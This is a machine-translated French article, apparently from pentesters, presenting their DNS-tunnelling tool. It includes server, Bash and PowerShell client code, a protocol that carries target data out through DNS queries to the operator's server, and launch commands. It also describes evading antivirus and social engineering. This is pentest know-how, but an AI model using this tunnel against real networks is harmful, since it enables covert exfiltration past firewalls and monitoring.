Trafic au bout du tunnel ou DNS dans le pentest


Salut Dans les projets de test de pénétration, nous rencontrons souvent des réseaux segmentés en dur qui sont presque complètement isolés du monde extérieur. Parfois, pour résoudre ce problème, il est nécessaire de transférer le trafic via le seul protocole disponible - DNS. Dans cet article, nous vous expliquerons comment résoudre un problème similaire en 2018 et quels pièges sont rencontrés dans le processus. Les utilitaires populaires seront également examinés et une version de leur propre utilitaire open-source avec des fonctionnalités qui manquent généralement dans les outils similaires existants sera présentée.


Que sont les tunnels DNS


Il existe déjà plusieurs articles sur Habré qui expliquent ce qu'est la tunnelisation DNS. Cependant, un peu de théorie sur la tunnelisation DNS peut être trouvée sous le spoiler.


Qu'est-ce que la tunnellisation DNS?

Il arrive que l'accès au réseau soit strictement coupé par le pare-feu, et vous devez très mal transférer les données, puis la technique de tunneling DNS vient à la rescousse.


Dans le diagramme, tout ressemble à ceci:


Les requêtes DNS, même avec les paramètres de pare-feu les plus rigoureux, passent parfois, et vous pouvez les utiliser en y répondant depuis votre serveur situé de l'autre côté. La communication sera extrêmement lente, mais cela suffit pour pénétrer le réseau local de l'organisation ou, par exemple, pour accéder d'urgence à Internet via une connexion Wi-Fi payante à l'étranger.


Ce qui est populaire en ce moment


Maintenant, sur Internet, vous pouvez trouver de nombreux utilitaires pour utiliser cette technique - chacun avec ses propres fonctionnalités et bogues. Nous avons sélectionné les cinq plus populaires pour les tests comparatifs:


  • dnscat2
  • iode
  • dns2tcp
  • Heyoka
  • OzymanDNS

Vous pouvez en savoir plus sur la façon dont nous les avons testés dans notre article sur Hacker . Ici, nous ne donnons que les résultats.



Comme vous pouvez le voir sur les résultats, vous pouvez travailler, mais du point de vue des tests de pénétration, il y a des inconvénients:


  • clients compilés - sur les machines avec antivirus, il est beaucoup plus facile d'exécuter quelque chose d'interprété qu'un fichier binaire;
  • travail instable sous Windows;
  • la nécessité d'installer des logiciels supplémentaires dans certains cas.

En raison de ces lacunes, nous devions développer notre propre outil, et c'est ainsi qu'il s'est avéré ...


Créez votre propre utilitaire de tunneling DNS


Contexte


Tout a commencé lors du pentest interne d'une banque. Dans le hall, un ordinateur public était utilisé pour imprimer des documents, des certificats et d'autres papiers. Notre objectif: tirer le meilleur parti d'une machine qui exécutait Windows 7, avait Kaspersky Anti-Virus à bord et ne permettait d'accéder qu'à certaines pages (mais en même temps, il était possible de résoudre les noms DNS).


Après avoir effectué l'analyse initiale et obtenu des données supplémentaires de la voiture, nous avons développé plusieurs vecteurs d'attaque. Les chemins avec le fonctionnement de la machine utilisant des programmes binaires ont été immédiatement supprimés sur le côté, car le "grand et terrible" "Kaspersky" a immédiatement détecté son effacement d'un fichier exécutable. Cependant, nous avons réussi à avoir la possibilité d'exécuter des scripts au nom de l'administrateur local, après quoi l'une des idées était simplement la possibilité de créer un tunnel DNS.


En recherchant des méthodes possibles, nous avons trouvé un client sur PowerShell pour dnscat2 (nous l'avons écrit plus tôt). Mais au final, le maximum que nous avons pu produire était d'établir une connexion pour une courte période, après quoi le client s'est écrasé.


Cela, pour le moins, nous a énormément bouleversés, car dans cette situation, la présence d'un client interprété était simplement nécessaire. En fait, c'était l'une des raisons pour lesquelles nous avons développé notre propre outil de tunneling DNS.


Prérequis


Nos principales exigences pour nous-mêmes sont:


  • la présence de clients universels (dans la mesure du possible) et interprétés pour les systèmes Unix et Windows. Pour les clients, bash et Powershell ont été sélectionnés, respectivement. À l'avenir, un client Perl pour unix est prévu;
  • la possibilité de transférer du trafic à partir d'une application spécifique;
  • Prise en charge de plusieurs clients pour un seul utilisateur.

Architecture de projet


Sur la base des exigences, nous avons commencé le développement. À notre avis, l'utilitaire se compose de 3 parties: un client sur la machine interne, un serveur DNS et un petit proxy entre l'application pentester et le serveur DNS.



Pour commencer, nous avons décidé de transmettre le tunnel via les enregistrements TXT.


Le principe de fonctionnement est assez simple:


  • Pentester lance un serveur DNS.
  • Un pentester (ou un utilisateur, via l'ingénierie sociale) lance un client sur une machine interne. Sur le client, il existe des paramètres tels que le nom et le domaine du client, et il est également possible de spécifier directement l'adresse IP du serveur DNS.
  • Pentester (à partir d'un réseau externe) démarre un proxy, où il indique l'adresse IP du serveur DNS, ainsi que le port où frapper, les cibles IP (par exemple, ssh dans le réseau interne où le client est assis) et, en conséquence, le port cible. Un ID client est également requis, qui peut être obtenu en ajoutant la clé --clients .
  • Pentester lance l'application qui l'intéresse, pointant le port proxy vers localhost.

Protocole de communication


Prenons un protocole assez simple pour la communication entre un serveur et un client.


Inscription


Lorsque le client démarre, il s'enregistre auprès du serveur, demandant un enregistrement TXT via un sous-domaine du format suivant:


0<7 random chars><client name>.<your domain>


0 - clé d'enregistrement
<7 random chars> - pour éviter la mise en cache des enregistrements DNS
<client name> - le nom donné au client au démarrage
<your domain> - ex.: xakep.ru
En cas d'inscription réussie, le client reçoit un message de réussite dans la réponse TXT, ainsi que l'identifiant qui lui est attribué, qu'il continuera à utiliser.


Cycle principal


Après l'enregistrement, le client commence à interroger le serveur sur la disponibilité de nouvelles données au format


1<7 random chars><id>.<your domain>


S'il y a de nouvelles données, dans la réponse TXT il les reçoit au format


<id><target ip>:<target port>:<data in base64> , sinon, <id>ND arrive.


Cycle de chargement des données


Le client dans une boucle vérifie si les données proviennent de notre <target> . S'il y a une réponse, nous lisons, à partir de ce qui est venu, un tampon de taille N Kb, le décomposons en blocs de 250-<len_of_your_domain>-< > et envoyons les données bloc par bloc au format:
2<4randomchars><id><block_id>.<data>.<your_domain>


Si le transfert de bloc est réussi, nous obtenons OK avec certaines données sur le bloc transféré; dans le cas de l'achèvement du transfert de tampon, nous obtenons ENDBLOCK .


Serveur DNS


Le serveur DNS pour le tunneling a été écrit en Python3 à l'aide de la bibliothèque dnslib, ce qui facilite la création de votre propre résolveur DNS en héritant de l'objet dnslib.ProxyResolver et en remplaçant la méthode resol ().


Great dnslib vous permet de créer votre propre proxyDNS très rapidement:


Un peu de code serveur
 class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler): #   domain_request = DOMAIN_REGEX.findall(str(request.q.qname)) type_name = QTYPE[request.q.qtype] if not domain_request: #  DNS ,     ,    : ,  google return super().resolve(request, handler) #  ,    result reply = request.reply() reply.add_answer(RR( rname=DNSLabel(str(request.q.qname)), rtype=QTYPE.TXT, rdata=dns.TXT(wrap(result, 255)), #      255 ,   ,   ttl=300 )) if reply.rr: return reply if __name__ == '__main__': port = int(os.getenv('PORT', 53)) upstream = os.getenv('UPSTREAM', '8.8.8.8') #       resolver = Resolver(upstream) udp_server = DNSServer(resolver, port=port) tcp_server = DNSServer(resolver, port=port, tcp=True) udp_server.start_thread() tcp_server.start_thread() try: while udp_server.isAlive(): sleep(1) except KeyboardInterrupt: pass 

Dans resolver (), nous définissons les réponses aux requêtes DNS du client: enregistrement, demande de nouveaux enregistrements, données de publication et suppression de l'utilisateur.


Nous stockons des informations sur les utilisateurs dans la base de données SQLite, le presse-papiers de données est situé dans la RAM et a la structure suivante, dans laquelle la clé est le numéro de client:


 { { "target_ip": "192.168.1.2", # IP “” -    "target_port": "", #  “” "socket": None, #       "buffer": None, #      "upstream_buffer": b'' #      }, ... } 

Pour mettre les données du pentester dans le tampon, nous avons écrit un petit «récepteur», qui est lancé dans un flux séparé. Il intercepte les connexions du pentester et effectue le routage: vers quel client envoyer les demandes.


Avant de démarrer le serveur, l'utilisateur doit définir un seul paramètre: DOMAIN_NAME - le nom du domaine avec lequel le serveur fonctionnera.


Client Bash


Bash a été choisi pour écrire un client pour les systèmes Unix, comme on le trouve le plus souvent dans les systèmes Unix modernes. Bash offre la possibilité de se connecter via / dev / tcp /, même avec des droits d'utilisateur non privilégiés.


Nous n'analyserons pas chaque morceau de code en détail, ne regardons que les points les plus intéressants.
Le principe du client est simple. Pour communiquer avec DNS, l'utilitaire de dig standard est utilisé. Le client s'enregistre auprès du serveur, après quoi, dans le cycle perpétuel, il commence à répondre aux demandes en utilisant le protocole décrit précédemment. Sous le spoiler plus.


En savoir plus sur le client Bash

Une vérification est en cours pour déterminer si une connexion a été établie et, dans l'affirmative, la fonction de réponse est exécutée (lecture des données reçues de la cible, division et envoi au serveur).


Après cela, il est vérifié s'il existe de nouvelles données du serveur. S'ils sont trouvés, nous vérifions si la connexion doit être interrompue. L'écart lui-même se produit lorsque nous recevons des informations sur la cible avec ip 0.0.0.0 et le port 00. Dans ce cas, nous effaçons le descripteur de fichier (s'il n'était pas ouvert, il n'y aura aucun problème) et changeons l'ip cible en 0.0.0.0 entrant.


Plus loin dans le code, nous voyons s'il est nécessaire d'établir une nouvelle connexion. Dès que les messages suivants commencent à nous envoyer des données pour la cible, nous, dans le cas où l'ip précédente ne correspond pas à celle actuelle (ce sera le cas après la réinitialisation), changeons la cible en une nouvelle et établissons une connexion via la commande exec 3<>/dev/tcp/$ip/$port , où $ip est la cible, $port est le port cible.
Par conséquent, si la connexion est déjà établie, alors la donnée entrante est décodée et vole vers le descripteur via la commande echo -e -n ${data_array[2]} | base64 -d >&3 echo -e -n ${data_array[2]} | base64 -d >&3 , où ${data_array[2]} est ce que nous avons obtenu du serveur.


 while : do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi done 

Pensez maintenant à envoyer la fonction de réponse. Tout d'abord, nous lisons 2048 octets du descripteur et les codons immédiatement via $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0 ). Ensuite, si la réponse est vide, nous quittons la fonction, sinon nous commençons l'opération de fractionnement et d'envoi. Notez qu'après la formation de la demande d'envoi via dig, la livraison est vérifiée pour le succès. En cas de succès, quittez le cycle, sinon essayez jusqu'à ce qu'il fonctionne.


 reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi } 

Client Powershell:


Étant donné que nous avions besoin d'une interprétabilité complète et de travailler sur la plupart des systèmes actuels, le client de base pour Windows est l'utilitaire nslookup standard pour communiquer via DNS et l'objet System.Net.Sockets.TcpClient pour établir une connexion sur le réseau interne.


Tout est également très simple. Chaque itération de la boucle est un appel à la commande nslookup à l'aide du protocole décrit précédemment.


Par exemple, pour vous inscrire, exécutez la commande:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
Si des erreurs se produisent, nous ne les affichons pas, en envoyant les valeurs du descripteur d'erreur à $ null.


nslookup nous renvoie une réponse similaire:


Après quoi nous devons étirer toutes les lignes entre guillemets, pour lesquelles nous les parcourons avec une saison régulière:


$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }


Vous pouvez maintenant traiter les commandes reçues.
Chaque fois que l'adresse IP de la «victime» change, un client TCP est créé, une connexion est établie et le transfert de données commence. À partir du serveur DNS, les informations sont décodées en base64 et des octets sont envoyés à la victime. Si la «victime» a répondu à quelque chose, alors nous encodons, divisons en parties et exécutons les requêtes nslookup selon le protocole. C’est tout.
Lorsque vous appuyez sur Ctrl + C, une demande de suppression du client est exécutée.


Proxy:


Le proxy du pentester est un petit serveur proxy en python3.



Dans les paramètres dont vous avez besoin pour spécifier l'IP du serveur DNS, le port où se connecter au serveur, l'option --clients renvoie une liste de clients enregistrés, --target - target ip , --target_port - target port , --client - id du client avec lequel nous allons work (vu après l'exécution de --clients ), - --send_timeout - timeout pour l'envoi de messages depuis l'application.


Lorsqu'il est lancé avec le paramètre --clients , le proxy envoie une requête au serveur au format \x00GETCLIENTS\n .
Dans le cas où nous commençons à travailler, lors de la connexion, nous envoyons un message au format \x02RESET:client_id\n pour réinitialiser la connexion précédente. Après avoir envoyé des informations sur notre cible: \x01client_id:ip:port:\n
De plus, lors de l'envoi de messages au client, nous envoyons des octets au format \x03data , et nous envoyons simplement des octets bruts à l'application.
De plus, le proxy prend en charge le mode SOCKS5.


Quelles difficultés peuvent survenir?


Comme avec tout mécanisme, l'utilitaire peut échouer. N'oublions pas que le tunnel DNS est mince, et de nombreux facteurs peuvent influencer son travail, de l'architecture réseau à la qualité de la connexion à votre serveur de production.


Pendant les tests, nous avons parfois remarqué de petits problèmes. Par exemple, à des vitesses d'impression élevées, en utilisant ssh, il vaut la peine de définir le paramètre --send_timeout , sinon le client commence à se figer. De plus, la connexion peut parfois ne pas être établie la première fois, mais elle peut être facilement traitée en redémarrant le proxy, car la connexion sera réinitialisée lors de la nouvelle connexion. Il y avait également des problèmes avec la résolution de domaine lorsque vous travaillez avec des chaînes proxy, mais cela peut également être résolu si vous spécifiez un paramètre supplémentaire pour les chaînes proxy. Il convient de noter qu'à l'heure actuelle, l'utilitaire ne contrôle pas l'apparence des demandes inutiles de la mise en cache des serveurs DNS, de sorte que la connexion peut parfois échouer, cependant, cela est à nouveau traité en utilisant la méthode décrite ci-dessus.


Lancement


Configurez les enregistrements NS sur le domaine:



Nous attendons que le cache soit mis à jour (généralement jusqu'à 5 heures).


Nous démarrons le serveur:
python3 ./server.py --domain oversec.ru


Lancez le client (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1


Nous démarrons le client (Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2


Voyons la liste des clients connectés:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients


Lancez le proxy:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1


Test:


Une fois le serveur et au moins un client démarrés, nous pouvons accéder au proxy comme s'il s'agissait de notre machine distante.
Essayons de simuler la situation suivante: un pentester veut télécharger un fichier à partir d'un serveur à partir du réseau local d'une organisation protégée par un pare-feu, tout en utilisant des méthodes d'ingénierie sociale, il a pu forcer un client DNS à s'exécuter à l'intérieur du réseau et trouver le mot de passe du serveur SSH.


Pentester sur sa machine démarre un proxy, indiquant le client nécessaire et peut ensuite passer des appels similaires qui seront envoyés au client et du client au réseau local.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek


Voyons ce qui s'est passé:



En haut à gauche, vous pouvez voir les requêtes DNS qui arrivent sur le serveur, le trafic proxy en haut à droite, le trafic client en bas à gauche et notre application en bas à droite. La vitesse s'est avérée assez décente pour le tunnel DNS: 4,9 Ko / s en utilisant la compression.


Lorsqu'il est lancé sans compression, l'utilitaire affiche une vitesse de 1,8 kb / s:



Examinons attentivement le trafic du serveur DNS, pour cela, nous utilisons l'utilitaire tcpdump.
tcpdump -i eth0 udp port 53



Nous voyons que tout est conforme au protocole décrit: le client interroge constamment le serveur s'il a de nouvelles données pour ce client en utilisant des requêtes comme 1c6Zx9Vi39.oversec.ru . S'il y a des données, le serveur répond avec un ensemble d'enregistrements TXT, sinon% client_num% ND ( 39ND ). Le client envoie des informations au serveur en utilisant les types de requêtes 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.


Dans les vidéos suivantes, vous pouvez clairement voir comment l'utilitaire fonctionne en conjonction avec meterpreter et en mode SOCKS5.




Le résultat:


Résumons un peu. Quelles sont les fonctionnalités de ce développement et pourquoi recommandons-nous de l'utiliser?


  1. Clients interprétés sur Bash et Powershell: aucun EXE-shnikov et ELF-s qui peuvent être difficiles à exécuter.
  2. Stabilité de la connexion: dans les tests, notre utilitaire s'est comporté beaucoup plus stable, et s'il y avait des bugs, vous pourriez simplement vous reconnecter, tandis que le client ne plantait pas, comme c'était le cas avec dnscat2, par exemple.
  3. Vitesse assez élevée pour le tunnel DNS: bien sûr, la vitesse n'atteint pas l'iode, mais il existe une solution compilée de beaucoup plus bas niveau.
  4. Aucun droit d'administrateur n'est requis: le client Bash fonctionne sans droits d'administrateur et les scripts Powershell sont parfois interdits par les politiques de sécurité, mais cela est assez simple à faire.
  5. Il existe un mode proxy socks5, qui vous permet de le faire curl -v --socks5 127.0.0.1:9011 https://ident.me ou d'exécuter nmap sur l'ensemble du réseau interne.

Le code utilitaire est disponible ici.

Source: https://habr.com/ru/post/fr432078/


All Articles